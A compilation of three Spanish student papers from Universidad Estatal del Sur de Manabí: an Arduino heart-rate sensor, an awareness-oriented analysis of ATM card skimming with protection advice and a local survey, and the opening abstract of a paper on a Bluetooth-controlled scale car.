DESARROLLAR UN SENSOR DE FRECUENCIA CARDIACA, UTILIZANDO LA TECNOLOGÍA DE ARDUINO DIRIGIDO A DEPORTISTAS Y USUARIOS EN GENERAL

Burbano Bermúdez Bella,

Chóez Tigua René,

Guale Vera Rosebel,

Sánchez Delgado Wagner

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

bellaburbanobermudez@gmail.com

RESUMEN

Como objetivo principal nos planteamos desarrollar un sensor de frecuencia cardiaca, utilizando la tecnología de arduino dirigido a deportistas y usuarios en general. El sensor de frecuencia cardiaca está conformado por una placa Arduino codificada, que consiste en la programación del rango de los latidos que marca el sensor. El equipo de trabajo reunió un sinnúmero de antecedentes personales, al menos uno lleva cada uno de los estilos de vida a los que va dirigido este proyecto, en base a ello nació la idea de crearlo. Para ello fundamentamos el planteamiento con referencias validadas de electro medicina, es decir, del beneficio e impacto que causaría elaborarlo y lo que se necesita para todo aquello. En nuestra investigación descubrimos Arduino se utilizó como herramienta fundamental para la realización del mismo utilizando los métodos analítico – descriptivo, Método bibliográfico – documental, Método estadístico. Lleva la finalidad de poder revisar nuestra frecuencia post/pre-esfuerzo físico o también en el diario debido a una edad avanzada o algún problema cardiaco presente. Cabe recalcar que el ritmo de vida incluyendo la actividad física que se realice y la edad es influyentes en los resultados que muestre el sensor Arduino. Se recomienda comprender más sobre frecuencia cardiaca y el estado de nuestro corazón para un bienestar propio y prolongar nuestro tiempo de calidad. Al ser autodidactas sobre nuestro proyecto se logró receptar y afianzar nuestra preparación académica. Al diseñar el sensor se pudo demostrar los conocimientos y ponerlos en práctica, así como también poder posteriormente instruir a otros sobre el argumento.

PALABRAS CLAVE: placa arduino, sensor de frecuencia, ritmo cardiaco, frecuencia cardiaca.

ABSTRACT

The main objective is to develop a heart rate sensor, using Arduino technology aimed at athletes and users in general. The heart rate sensor consists of an encoded Arduino board, which consists of programming the range of heartbeats marked by the sensor. The work team gathered a great number of personal backgrounds, at least one of them carries each of the lifestyles to which this project is directed, based on which the idea of creating it was born. For this we base the approach with validated references of electro medicine, that is to say, of the benefit and impact that it would cause to elaborate it and what is needed for all that. In our research we discovered Arduino and we use it as a fundamental tool for the realization of it using analytical - descriptive methods, Bibliographic - documentary method, Statistical method. It has the purpose of being able to review our frequency post / pre-physical exertion or also in the diary due to an advanced age or some cardiac problem present. It should be noted that the rhythm of life including physical activity and age is influential in the results shown by the Arduino sensor. It is recommended to understand more about heart rate and the state of our heart for our own well-being and to prolong our quality time. By being self-taught about our project it was possible to receive and strengthen our academic preparation. By designing the sensor it was possible to demonstrate the knowledge and put it into practice, as well as be able to subsequently instruct others about the argument.

KEYWORDS: Arduino Board, Frequency Sensor.

1. INTRODUCCIÓN

El corazón es el órgano principal en el aparato circulatorio, permite impulsar la sangre a través de las arterias para distribuirla por todo el cuerpo. En el mismo que se da uno de los signos vitales como lo es la frecuencia cardiaca, la misma que significa el número de veces que late o se contrae por minuto el corazón.

Entonces establecemos que la frecuencia cardiaca es importante en la salud de un ser humano, en los adultos la frecuencia cardiaca normal oscila entre los 50 a 100 pulsaciones. Existe una problemática muy notable y es que en ocasiones no tomamos en cuenta el bienestar de nuestro corazón previo a realizar alguna actividad o si en algún momento sentimos que se dispara de forma drástica.

Existen formas de medir la frecuencia cardiaca sin la ayuda de algún aparato que tal vez en dicho momento no tengamos a la mano, pero siempre es bueno contar con un aliado que nos ayude por ejemplo un dispositivo electrónico que nos permita prever si estamos o no en condiciones para realizar un esfuerzo físico.

La mejor forma de mantener una salud estable es la prevención de dolencias que puedan llegar a derivar en un padecimiento de consideración. Pensando en todo aquello nace la necesidad de realizar un dispositivo basándonos en antecedentes, pero realizándolo con nuestras preparaciones.

El presente proyecto fue llevado a cabo con la finalidad de realizar un aporte a la sociedad, contribuir con nuestro aprendizaje poniendo en práctica los conocimientos adquiridos y esperando obtener lo deseado, mediante nuestros objetivos planteados, una metodología analítica y dedicación.

2. DESARROLLO

Un Arduino es un sistema autónomo programado que realiza una o varias tareas específicas. Puede hacer las tareas de un autómatas e intercambiar datos con un SCADA (Supervisión, Control y Adquisición de Datos). Arduino se ha popularizado en el mundo maker dentro del movimiento DIY, pero también vamos a plantearlo desde un punto de vista profesional. (anonimo, s.f.)

Sensor.- Un sensor es un dispositivo que está capacitado para detectar acciones o estímulos externos y responder en consecuencia. Estos aparatos pueden transformar las magnitudes físicas o químicas en magnitudes eléctricas (Gardey, 2010).

Imagen1: Sensor de dispositivo

Un sensor es un tipo de transductor que transforma la magnitud que se quiere medir o controlar, en otra, que facilita su medida. Pueden ser de indicación directa (e.g. un termómetro de mercurio) o pueden estar conectados a un indicador (posiblemente a través de un convertidor analógico a la digital, un computador y un visualizador) de modo que los valores detectados puedan ser leídos por un humano.

Por lo general, la señal de salida de estos sensores no es apta para su lectura directa y a veces tampoco para su procesamiento, por lo que se usa un circuito de acondicionamiento, por ejemplo, un puente de Wheatstone, amplificadores y filtros electrónicos que adaptan la señal a los niveles apropiados para el resto de los circuitos (SISCOE, 2015).

El corazón es un órgano muscular que se encuentra en el centro del tórax. Su función es la de bombear la sangre, y por tanto nutrientes y oxígeno, a todo el cuerpo y traer de vuelta los productos de desecho.

Frecuentemente considerado el órgano más importante del cuerpo humano, el corazón es fundamental para la vida y la salud; sin el bombeo del corazón, la sangre no puede moverse a través del cuerpo.

Un corazón sano aporta al cuerpo la cantidad de sangre necesaria, y a la frecuencia requerida, para la actividad que esté realizando en ese momento. Si el corazón se encuentra debilitado por una enfermedad o lesión, los órganos del cuerpo no recibirán sangre suficiente para funcionar con normalidad.

Cuando el corazón bombea sangre a las arterias, crea un pulso que puede sentirse en las arterias cercanas a la piel.

El pulso cardíaco aumenta en respuesta a la necesidad de oxígeno y nutrientes del cuerpo, ej.: cuando se realiza ejercicio, o cuando eres perseguido por un león y necesitas correr por tu vida (respuesta de lucha-huida).

3. MATERIALES Y MÉTODOS

Se necesitó una placa codificada de Arduino, junto a un protoboard, así como también conectores y un sensor de pulsación, por último, una laptop para poder visualizar los latidos.

Este método ayudo a realizar un análisis de la situación de la frecuencia cardiaca en cada uno de nosotros como creadores del proyecto y establecer la necesidad del mismo en beneficio de las personas.

Este método permitió recabar información referente a cada uno de los temas que fueron necesarios para diseñar el sensor de frecuencia cardiaca.

Método analítico – descriptivo.- Este método ayudo a realizar un análisis de la situación de la frecuencia cardiaca en cada uno de nosotros como creadores del proyecto y establecer la necesidad del mismo en beneficio de las personas.

Método bibliográfico – documental.- Este método permitió recabar información referente a cada uno de los temas que fueron necesarios para diseñar el sensor de frecuencia cardiaca.

Método estadístico.- Este método fue utilizado para analizar los resultados de la encuesta aplicada y partir de aquello en la elaboración del proyecto en su totalidad.

4. RESULTADOS Y DISCUSIÓN

- Se recomienda comprender más sobre frecuencia cardiaca y el estado de nuestro corazón para un bienestar propio y prolongar nuestro tiempo de calidad.
- Se recomienda también el uso de la tecnología como páginas web que hagan amena la búsqueda de información y se imparta esta tarea al resto de la familia.
- Se recomienda finalmente utilizar la tecnología y la electrónica de vanguardia para mejoras y aportes a la sociedad y que sobre todo sea puesto en práctica.

5. CONCLUSIONES

- Concluimos que al realizar una encuesta a nuestros compañeros de la facultad evidenciamos la falta de conocimiento hacia el tema referido y que con la aplicación de

dichas encuestas pudimos realizar una reflexión de los encuestados ante el cuidado de su salud.

- Al ser autodidactas sobre nuestro proyecto se logró receptar y afianzar nuestra preparación académica.
- Al diseñar el sensor se pudo demostrar los conocimientos y ponerlos en práctica, así como también poder posteriormente instruir a otros sobre el argumento.

REFERENCIAS BIBLIOGRÁFICAS

ANONIMO. (2017). BENEFICIOS DEL ENTRENAMIENTO BASADO EN LA FRECUENCIA CARDIACA. SALUD, https://www.polar.com/es/productos_b2b/deportes_colectivos/beneficios_del_entrenamiento_basado_en_frecuencia_cardiaca_overlay.

ANONIMO. (2018). COMO CALCULAR LA FRECUENCIA CARDIACA . CALCULADORA , <https://es.calcuworld.com/cual-es-la-frecuencia-cardiaca-normal-y-maxima-segun-la-edad/>.

anonimo. (s.f.). profesormolina.com. Obtenido de http://www.profesormolina.com.ar/tecnologia/sens_transduct/tipos.htm

Gardey, J. P. (2010). definicion.de. Obtenido de <https://definicion.de/sensor/>

MacGill, M. (2018). ¿Qué es la frecuencia cardiaca? ¿Cuál es la normal?. Medical News Today. MediLexicon, Intl., 21 Jan. 2016. Web., <https://www.medicalnewstoday.com/articles/291182.php>.

SISCODE. (Diciembre de 2015). wikipedia. Obtenido de <https://es.wikipedia.org/wiki/Sensor>

BIOGRAFÍAS DE AUTORES

Roosebel Guale Vera. Estudiante de Segundo Semestre de la Carrera De Ingeniería en Tecnología de la información Universidad Estatal Del Sur De Manabí. Jipijapa, Manabí Y Ecuador.

Wagner Sánchez Delgado. Estudiante de Segundo Semestre de la Carrera De Ingeniería en Tecnología de la información Universidad Estatal Del Sur De Manabí. Jipijapa, Manabí Y Ecuador.

Moisés Choez Tigua. Estudiante de Segundo Semestre de la Carrera De Ingeniería en Tecnología de la información Universidad Estatal Del Sur De Manabí. Jipijapa, Manabí Y Ecuador.

Bella Burbano Bermúdez. Estudiante de Segundo Semestre de la Carrera De Ingeniería en Tecnología de la información Universidad Estatal Del Sur De Manabí. Jipijapa, Manabí Y Ecuador.

ANÁLISIS DE SKIMMING APLICADO A CAJEROS AUTOMÁTICOS

Franco Vines Kevin Israel,

Baque Castro Jeffry Javier,

Soledispa López Keshia Patricia,

Vásquez Barcia Jeniffer Ivette

Ing. Castillo Merino Miriam Adriana. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

kevinisraelfrancovinces@gmail.com

RESUMEN

En la presente investigación se pretendió aportar de forma significativa a los ya existentes medios de información en internet sobre el tema de Skimming, con énfasis a los usuarios de tarjetas que están afiliados a una entidad bancaria, en el proceso investigativo se concluyó el análisis e identificación de métodos y dispositivos que son utilizados para llevar a cabo el Skimming e inadvertidos para los usuarios, dichos dispositivos se sustentaban en la obtención de datos mediante la cinta magnética de las tarjetas, los cuales han sido los más comunes para alcanzar el éxito en dicha tarea y obtener como resultado poner en riesgo la seguridad de los usuarios, su capital monetario e integridad de datos, fue ahí donde surgió la idea de realizar un análisis para dar a conocer el funcionamiento del Skimming, el cómo las grandes compañías llevan el tema, que impacto ha tenido a nivel nacional en Ecuador, las causas, recomendaciones brindadas de manera general e información suministrada por los mismos bancos. La metodología utilizada fue de nivel teórico, empírico y estadístico matemático. Los principales resultados evidenciaron un índice considerable de desconocimiento el tema del Skimming, gracias a los diferentes métodos que se utilizaron en esta investigación se dedujo que los usuarios de tarjetas bancarias comunes eran candidatos a víctimas de fraude bancario con un alto nivel de vulnerabilidad, propensos a pérdidas de datos considerables. Se concluye que el enfoque principal del análisis tiene una proyección viable con ejemplos del cómo funciona el Skimming, y de esa manera reducir considerablemente el nivel de victimización.

PALABRAS CLAVE: dispositivos, Skimming, seguridad, tarjetas.

ABSTRACT

In the present investigation it was tried to contribute of significant way to the already existing means of information in Internet on the topic of Skimming, with emphasis to the users of cards that are affiliated with a banking entity, in the investigative process the analysis and

identification was concluded of methods and devices that are used to carry out Skimming and unnoticed for users, these devices were based on obtaining data through the magnetic tape of the cards, which have been the most common to achieve success in this task and, as a result, to put at risk the users' security, their monetary capital and data integrity, it was there where the idea of carrying out an analysis to publicize the functioning of the Skimming, how the big companies take the issue, impact has had at national level in Ecuador, the causes, recommendations provided in general and information supplied by the banks themselves. The methodology used was theoretical, empirical and mathematical statistical. The main results evidenced a considerable index of ignorance about the topic of Skimming, thanks to the different methods that were used in this investigation it was deduced that the users of common bank cards were candidates to victims of banking fraud with a high level of vulnerability, prone to considerable data loss. It is concluded that the main focus of the analysis has a viable projection with examples of how Skimming works, and in this way considerably reduce the level of victimization.

KEY WORDS: cards, devices, skimming, security.

1. INTRODUCCIÓN

El presente análisis pretende dar a conocer la problemática actual que día a día va en aumento en los sistemas de cajeros automáticos, mediante la clonación de tarjetas débito y crédito; el análisis realizado comprende el uso de Skimming en los cajeros automáticos. A medida que el avance tecnológico es más notable, los métodos que son desarrollados para atentar contra el sector bancario avanzan de igual manera, afectando principalmente a sus clientes, pero también se implementan métodos que contribuyen a brindar mayor seguridad en las transacciones realizadas.

A su vez se identificaron las principales recomendaciones de seguridad tanto en el momento de recibir las tarjetas sean estas de crédito o débito, como en el que es utilizado en los cajeros automáticos, principalmente en gasolineras y restaurantes, sitios de mayor preferencia del actuar delincriminal, después de los propios cajeros automáticos. Los sistemas financieros preocupan por brindar confianza a sus clientes y han creado con ayuda del poder legislativo leyes para proteger el capital bancario de sus clientes y coadyuvar a la mitigación del riesgo al que se están expuestos día a día.

De igual manera, han creado mecanismos de solución rápida y certera al brindar soluciones en el menor tiempo posible a reclamaciones por transacciones no reconocidas, por ejemplo, el

abono del dinero hurtado a través de retiros fraudulentos, creando así, aunque no del todo confianza y credibilidad en el sector.

2. DESARROLLO

Cada día son más comunes los ataques informáticos basados en Skimming. Estos se caracterizan por la clonación de tarjetas y el robo de los datos que contienen sus bandas magnéticas.

Los sistemas de información en la actualidad son más inseguros que nunca en la historia de la humanidad, su impacto se deja sentir en todas las actividades humanas. La seguridad informática se ha vuelto vulnerable, existe desconocimiento sobre las anomalías que se pueden presentar si se es víctima de Skimming.

El Skimming se produce en muchas ocasiones en cajeros automáticos, aunque también han salido a la luz casos de trabajadores de establecimientos que contaban con un segundo lector de tarjetas además del propio datáfono de la tienda para realizar dicho robo de datos.

Definición

“Se denomina Skimming al robo de información de tarjetas de crédito utilizado en el momento de la transacción, con la finalidad de reproducir o clonar la tarjeta de crédito o débito para su posterior uso fraudulento. Consiste en el copiado de la banda magnética de una tarjeta (crédito, débito, etc).” (Wikipedia, 2019)

Causas

Según europa express las principales causas por las que se da el skimming en cajeros automáticos se debe a lo siguiente (express, 2009):

- El rápido crecimiento del número de cajeros automáticos
- Ataques sofisticados
- Incremento e innovación de técnicas de fraude

Desde el punto de vista del autor, otra de las principales causas puede ser:

- La falta de conocimiento y capacitación sobre las distintas técnicas y maneras de ser atacados por medio de Skimming.
- Permitir el acceso a terceros en lugares de vulnerabilidad (Bares, restaurantes, etc)

Métodos de Skimming

- **Basado en dispositivos**

Como ya antes se mencionó, el Skimming es un método que usan los delincuentes para obtener los datos que contienen las cintas magnéticas en el reverso de las tarjetas, para ello hacen uso de dispositivos físicos o equipos, cuyo objetivo es posteriormente clonar las tarjetas con la información previamente obtenida, para poder llevar a cabo el Skimming con éxito, se hace uso de un dispositivo llamado Skimmer y un dispositivo para la captura del PIN.

Los Skimmers son fabricados a la medida de una tarjeta para obtener la información de la cinta magnética, diseñados para ser ubicados en la receptora de tarjetas de un cajero automático, también se fabrican como paneles de cajeros falsos que cubren toda la superficie del ingreso de tarjetas.

Para capturar el PIN hacen uso de cámaras estenopeicas, es un método sofisticado y ampliamente utilizado para este fin, consiste en instalar una cámara cerca del cajero automático y así grabar al cliente bancario ingresado su PIN, el contenido visual es almacenado o transmitido a un dispositivo streaming situado a 100 metros.

Otro de los métodos utilizados para capturar el PIN haciendo uso de dispositivos, es el utilizar una matriz o teclado de PIN falso, se ubica sobre el teclado de PIN legítimo y este hace streaming de datos ingresados con un dispositivo cercano.

- **Basados en recurso humano**

Este método se basa en el contacto directo con la víctima, consiste en espiar al cliente bancario por encima del hombro mientras este ingresa su código PIN en el cajero automático, es un método no tecnológico, pero sin embargo muy efectivo.

El método distracción del cliente bancario, consiste en distraer al cliente y realizar skimming usando un dispositivo Skimmer de mano mientras el cliente está distraído.

Otro método conocido para llevar a cabo el Skimming haciendo uso del recurso humano es conocido como el buen samaritano, el método consiste en utilizar una banda de metal o plástico para bloquear la ranura que dispensa el dinero en el cajero automático, el buen samaritano sugiere reingresar el PIN mientras el observa, la máquina retendrá la tarjeta y el delincuente la recupera luego de que el cliente bancario se marche.

- **Basados en software**

Ataques de malware, el malware es actualmente uno de los métodos más utilizados en los ataques a cajeros automáticos para robar datos de tarjetas, consiste en implantar malware comprometiendo la seguridad del cajero automático físico o por medio del software que utiliza dicho cajero, algunos tipos de malware no sólo obtienen los datos de las tarjetas y del cliente, sino que también permiten al delincuente retirar la cantidad deseada de dinero en cuenta de la víctima.

¿Qué hacen las compañías bancarias contra el Skimming?

Preocupados por el alto índice de clonación, tres importantes compañías bancarias de reconocimiento mundial como son Europa, Master Card y Visa, desarrollaron tarjetas inteligentes dotadas de un chip, donde se almacena toda la información del cliente; cuando este plástico es introducido en el lector del cajero automático la bloquea y no permite su retiro, hasta cuando no se termine la transacción, garantizando así, confiabilidad y seguridad para el cliente tanto en tarjetas débito como crédito (Paredes Acosta, 2019).

¿Cómo funcionan los métodos actuales de malware?

Aunque la protección de los cajeros parece impresionante desde el punto de vista físico, muchas de estas máquinas blindadas son más vulnerables en el sistema que usan. En este caso en particular, los delincuentes infectan cajeros ya sea a través de un acceso físico o a través de la red interna del banco.

Una vez instalado en el sistema, el malware Skimmer infecta el núcleo informático del cajero, lo que da control total a los delincuentes, convirtiendo el cajero en un skimmer. Tras ello, el malware se mantiene a un rendimiento de bajo perfil hasta que los causantes decidan utilizar la máquina infectada y explotar sus vulnerabilidades.

Para despertar el malware de un cajero automático, el delincuente informático debe insertar una tarjeta en concreto que contenga ciertas instrucciones en su banda magnética. Tras leer estas instrucciones, el malware podrá ejecutar parámetros fijos o contestar a parámetros a través del menú gráfico que la tarjeta activa.

Si el delincuente informático retira la tarjeta y en menos de un minuto introduce la clave de sesión correcta mediante el teclado, la interfaz gráfica especial propiciada por el malware aparecerá en pantalla. Con la ayuda de dicho menú gráfico, el delincuente informático podrá activar veintiún comandos diferentes (dependiendo del malware), entre los que se incluyen:

- Retiro de dinero en efectivo (hasta 40 billetes)

- Obtener los datos de cada tarjeta ingresada
- Autoeliminación
- Actualizarse (mediante el chip de la tarjeta)
- Imprimir los datos recolectados de las tarjetas en los recibos del cajero

¿Cómo protegerse?

El papel más importante en la protección de los clientes de un banco en específico es el mismo banco, es quien debe procurar la seguridad tanto física como en los sistemas de los cajeros, ya que, para los clientes comunes, la infección de cajeros automáticos es mucho más alarmante, pues no hay modo de saber si una máquina ha sido infectada o no y dado que a simple vista funciona con normalidad gracias a al antes mencionado bajo perfil del malware.

Se puede decir que no puedes proteger al 100 % tu tarjeta de la infección de cajeros, pero aun así hay una serie de consejos que te ayudaran a salvar, al menos, la mayor parte de tu dinero.

1. Aunque no sea posible identificar los cajeros automáticos infectados, puedes minimizar el riesgo utilizando aquellos cuya ubicación no sea vulnerable o sospechosa. La mejor opción es usar cajeros en sucursales bancarias, pues es más difícil que este sea infectado y de seguro son inspeccionados con más frecuencia.
2. Comprueba con frecuencia las transacciones de la tarjeta. El mejor modo para ello es usar las notificaciones por SMS: si el banco al que se es afiliado o de el que se es cliente ofrece este servicio, debe ser activado sí o sí.
3. Si se ve una transacción que no se ha efectuado por el propietario de la tarjeta, Lo recomendable es llamar a al banco de inmediato y bloquear la tarjeta en cuestión. Cuánto más rápida sea la comunicación para solicitar el bloqueo, más probabilidades se tendrá de salvar la mayor parte del dinero.
4. Utilizar tarjetas con chip inteligente es una medida muy recomendada, ya que estas aún no se han podido clonar. Es más, aún en el caso de que sea posible el clonado de tarjetas con chip inteligente, sería necesario conocer nuestra clave personal para realizar una transacción o compra.

Dispositivo contra Skimming

Según DirarioTi en agosto del 2018 en una de sus notas publicadas en su sitio web indica la creación de un dispositivo por parte de Académicos de la Universidad de Florida, Estados Unidos denominado Skim Reaper, el cual permite detectar diferentes tipos de Skimmers

utilizados por delincuentes para recopilar datos de tarjetas de crédito y débito insertadas en cajeros automáticos u otros lectores de tarjetas (TI, 2018).

¿Pero cómo funciona este dispositivo?

Skim Reaper utiliza una “tarjeta de medición” que puede ser colocada en la ranura para tarjetas de un cajero automático o punto de pago de combustible. Con la ayuda de un microcontrolador conectado, la tarjeta detecta el número de cabezales de lectura cuando la tarjeta ingresa al cajero automático o al lector de la bomba de combustible. Si detecta solo un cabezal, el cajero automático o el lector de la bomba de gas es clasificado como seguro. Si detecta dos, concluye que hay un Skimmer.

Skimming en Ecuador

Diario el Comercio en el año 2016 en una de sus notas publicadas en su sitio web indica lo siguiente “datos generales de la Fiscalía señalan que de enero a junio de este año se han reportado 250 casos de clonaciones de tarjetas en el Ecuador y otras 300 denuncias de apropiaciones fraudulentas por medios electrónicos.”

Recomendaciones por parte Banco Pichincha en Ecuador para la protección contra Skimming (Pichincha, 2019)

- Cuando ingrese la clave en un cajero automático asegúrese de que nadie te esté observando.
- No reciba ayuda de nadie mientras realiza una transacción.
- Verifique que no haya personas sospechosas a su alrededor cuando use un cajero y utilice su cuerpo como barrera para bloquear la visibilidad de extraños.
- No inicie conversaciones con personas extrañas en la fila.
- Cuando cambie la clave de tu tarjeta, no utilice una clave anterior o su fecha de nacimiento.
- Si ve una situación irregular o que puede estar en peligro, no realice la transacción, su seguridad es prioridad.
- No permita jamás que su clave sea observada por extraños, solicite que la línea delimitada de turno sea respetada.
- Memoriza su clave de acceso. No la entregue a terceras personas. No la escriba en la tarjeta, celular u otros documentos que porte con usted.
- Su tarjeta es de uso personal, e intransferible.

- Si utiliza un cajero automático desde tu vehículo, verifique que las puertas y ventanas estén bien cerradas con excepción de la ventana a utilizar.
- Si sospecha de alguien, alerte discretamente a los funcionarios de la entidad financiera o al personal de seguridad.
- Utilice nuestras alternativas de servicios: cheques certificados, transferencias interbancarias, pago de roles, etc.
- Si necesitas anular su tarjeta de débito puede hacerlo en los cajeros con su número de cédula y clave. Recuerde si existe una o más tarjetas asociadas a la misma cuenta, esa también será anulada. Seleccione la opción Anulación de tarjeta. El cajero le solicitará el número de identificación y la clave de la tarjeta extraviada, con esta acción tu tarjeta quedará cancelada permanentemente. También puede bloquear su tarjeta a través de Banca Móvil y Banca Interactiva. Para obtener una nueva tarjeta de débito solicítela llamando a Banca Telefónica al 02-29999999, opción 9.

3. MATERIALES Y MÉTODOS

Se utilizaron métodos de la investigación científica tales como:

Del nivel teórico:

- **Análisis – síntesis:** se utilizó para determinar los riesgos en el uso de las tecnologías de la información.
- **Histórico – lógico:** se usó en el desarrollo de la investigación con énfasis en la búsqueda de los antecedentes del Skimming en Ecuador.
- **Inducción – deducción:** se empleó en toda la investigación, en particular en el análisis de las causas de Skimming.

Del nivel Empírico:

- **Encuestas no probabilísticas:** Se utilizó para analizar, determinar y conocer la forma de interactuar del usuario con su tarjeta bancaria, sea esta de crédito o débito, a su vez nos permite saber si el usuario de la tarjeta se encuentra informado de los peligros a los cuales se encuentra expuesto y así indicar el desconocimiento que tienen muchos usuarios en el tema.

- **Revisión bibliográfica:** Se utilizó en la fase de recopilación de la información del tema para la elaboración de la investigación, mediante libros, revistas de carácter científico, internet, entre otros.

Del nivel Estadístico – Matemático

Se utilizó la estadística descriptiva y la estadística inferencial, para el análisis y la tabulación de los datos generados por la aplicación de los métodos empíricos. Se utilizó el cálculo porcentual como procedimiento matemático.

4. RESULTADOS Y DISCUSIÓN

Encuesta dirigida a habitantes de la ciudad de Jipijapa que son clientes de una entidad bancaria y que hacen uso de una tarjeta sea esta de crédito o débito, tomando como muestra representativa para este análisis una cantidad de 80 encuestados.

1) ¿Tiene usted conocimiento del tema "Skimming"?

TABLA 1

ALTERNATIVA	FRECUENCIA	%
SI	0	0
NO	80	100
TOTAL	80	100

GRAFICO 1

Fuente: Encuestas a 80 ciudadanos del Cantón Jipijapa, marzo 2019

Elaborado por: Kevin Franco, Jeffry Baque, Keshia Soledispa, Jeniffer Vasquez.

Análisis de resultados:

Mediante la pregunta planteada a los ciudadanos encuestados se denotó que: El 100% no tiene conocimiento sobre el tema de “Skimming”, lo cual representa al total de las personas encuestadas y fortalece el argumento planteado por el autor el cual afirma que la falta de conocimiento sobre “Skimming” es una de las principales causas de ser víctima del mismo.

2) ¿Hace usted uso de cajeros automáticos que no se encuentran junto a su respectiva institución bancaria?

TABLA 2

ALTERNATIVA	FRECUENCIA	%
SI	69	86
NO	11	14
TOTAL	80	100

GRAFICO 2

Fuente: Encuestas a 80 ciudadanos del Cantón Jipijapa, marzo 2019

Elaborado por: Kevin Franco, Jeffry Baque, Keshia Soledispa, Jeniffer Vasquez.

Análisis de resultados:

Mediante la pregunta planteada a los ciudadanos encuestados se denotó que: El 86% hacen uso de cajeros automáticos que no se encuentran ubicados junto a su respectiva institución bancaria, mientras que el 14% indica que no lo hace, lo cual indica que la mayor parte de los usuarios de tarjetas bancarias son propicios a ser víctimas de fraudes bancarios por medio de Skimming.

5. CONCLUSIONES

Una vez realizada la investigación se llegó a las siguientes conclusiones.

- Es necesario poseer conocimientos sobre protocolos seguridad aplicados al tema bancario, para de esta manera identificar posibles situaciones vulnerables y la prevención en la pérdida de datos, se debe considerar que las tecnologías avanzan y con ello la forma de cometer actos delictivos, por ello la previa capacitación por parte de bancos debe ser una prioridad para con sus clientes.
- Las encuestas realizadas demostraron que los usuarios de tarjetas de débito y crédito son vulnerables por falta de conocimiento.
- Si los bancos que prestan sus servicios fuesen más rigurosos con el tema de la seguridad y brindaran más información sobre cómo prevenir ser víctimas de delitos bancarios, dichos delitos podrían disminuir considerablemente.

REFERENCIAS BIBLIOGRÁFICAS

Drozhzhin, A. (17 de mayo de 2016). *Skimmers invisibles en los cajeros automáticos*.

Obtenido de <https://www.kaspersky.es/blog/invisible-skimmer-at-atm/8339/>

express, e. (7 de septiembre de 2009). *Economía/Finanzas.- El fraude en cajeros*

automáticos creció un 149% en 2008 y provocó pérdidas de 500 millones. Obtenido de <https://www.europapress.es/economia/finanzas-00340/noticia-economia-finanzas-fraude-cajeros-automaticos-crecio-149-2008-provoco-perdidas-500-millones-20090907131637.html>

Mikel, C. (15 de marzo de 2019). *Cómo funciona la tecnología que clona tarjetas en cajeros*

automáticos. Obtenido de <https://www.xataka.com/seguridad/como-funciona-la-tecnologia-que-clona-tarjetas-en-cajeros-automaticos>

Paredes Acosta, C. E. (16 de marzo de 2019). *El fraude en cajeros automáticos mediante*

clonación de tarjetas débito y crédito. Obtenido de <https://repository.unimilitar.edu.co/bitstream/handle/10654/13473/Presentacion%20final%20Ing.%20Fernando%2015%20dic.2014.pdf;jsessionid=BA3D5806773E36AAC72C0720BDAE68A5?sequence=1>

Pichincha, B. (16 de marzo de 2019). *Clonación de tarjeta o "Skimming"*. Obtenido de

<https://www.pichincha.com/portal/Informacion/Seguridad/Cajeros-automaticos/Clonacion-de-tarjeta-o-Skimming>

Rivero, M., & Gottschalk, F. (26 de febrero de 2014). *Visa*. Obtenido de <https://bd.visa.com/dam/VCOM/download/merchants/Webinar-Preventing-ATM-Skimming-Spanish-021914.pdf>

TI, D. (17 de agosto de 2018). *Nuevo dispositivo detecta amplia gama de skimmers*. Obtenido de <https://diarioti.com/nuevo-dispositivo-detecta-amplia-gama-de-skimmers/108395>

Wikipedia, c. d. (16 de marzo de 2019). *Skimming (fraude)*. Obtenido de https://es.wikipedia.org/w/index.php?title=Especial:Citar&page=Skimming_%28fraude%29&id=100090074

BIOGRAFÍAS DE AUTORES

Franco Vínces Kevin Israel. Estudiante de la Carrera de Ingeniería en Tecnologías de la Información.

Baque Castro Jeffry Javier. Estudiante de la Carrera de Ingeniería en Tecnologías de la Información.

Soledispa Lopez Keshia Patricia. Estudiante de la Carrera de Ingeniería en Tecnologías de la Información.

Vasquez Barcia Jeniffer Ivette. Estudiante de la Carrera de Ingeniería en Tecnologías de la Información.

Castillo Merino Miriam Adriana. Docente de la Carrera de Ingeniería en Tecnologías de la Información.

SOFTWARE PARA CONTROLAR UN CARRO A ESCALA A TRAVÉS DE UN DISPOSITIVO MÓVIL POR MEDIO DE BLUETOOTH Y AUTOMÁTICAMENTE.

José Luis Barcia Mero,
Jennifer Yaritza Loor Arana,
Juan Sebastián Robles Pulla,
Josué Gamaliel Salazar Nájera,
Ing. Luis Fernando Lucio Villacreses. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

Jasuesalazar.js@gmail.com

jenniferloorarana8@gmail.com

joseluisbarciamero@gmail.com

sebita003@gmail.com

RESUMEN

La presente investigación está realizada en base al afán de aprender más cada día sobre el creciente desarrollo tecnológico que se da en la actualidad y está amparado en la curiosidad innata del estudiante por querer innovar siempre. Uno de los varios motivos que impulsa el desarrollo de esta investigación fue el poco conocimiento que tienen los estudiantes del octavo semestre de la carrera sistemas computacionales, sobre los sensores de proximidad y el uso variado del desarrollo de aplicaciones que se puede dar a las placas Arduino. A su vez tengamos en cuenta la relevancia que tiene este como ejemplo de la evolución que cada día realiza un aparato electrónico en comparación a las personas. Por lo cual se tiene como objetivo que con este modelo a escala que los estudiantes pongan en práctica nuevas ideas utilizando estas tecnologías, incentivamos a la curiosidad innata que deberían tener los estudiantes ante el crecimiento vertiginoso de las tecnologías. Las diferentes metodologías utilizadas para ello fueron el método teórico como son: histórico lógico; análisis síntesis; como también para profundizar la investigación se usó el método de empírico de investigación como es: entrevista; diagnóstico y bibliográfica, lo que con llevo a concluir que al desarrollar la curiosidad innata de los estudiantes aporta a el desarrollo de la tecnología que favorecerá en un futuro a las personas.

PALABRAS CLAVE: aplicaciones, estudiantes, tecnológico.

ABSTRACT

This research is based on the desire to learn more each day about the growing technological development that is currently occurring and is based on the student's innate curiosity to always want to innovate. One of the several reasons that drives the development of this research was the little knowledge that students have of the eighth semester of the computer systems career, about proximity sensors and the varied use of application development that can be given to Arduino boards . At the same time we take into account the relevance of this as an example of the evolution that every day an electronic device performs compared to people. Therefore, it is intended that with this scale model that students put into practice new ideas using these technologies, we encourage the innate curiosity that students should have before the vertiginous growth of technologies. The different methodologies used for this were the theoretical method such as: logical history; synthesis analysis; as well as to deepen the investigation the empirical method of investigation was used as it is: interview; diagnosis and bibliography, which led me to conclude that by developing the innate curiosity of students contributes to the development of technology that will favor people in the future.

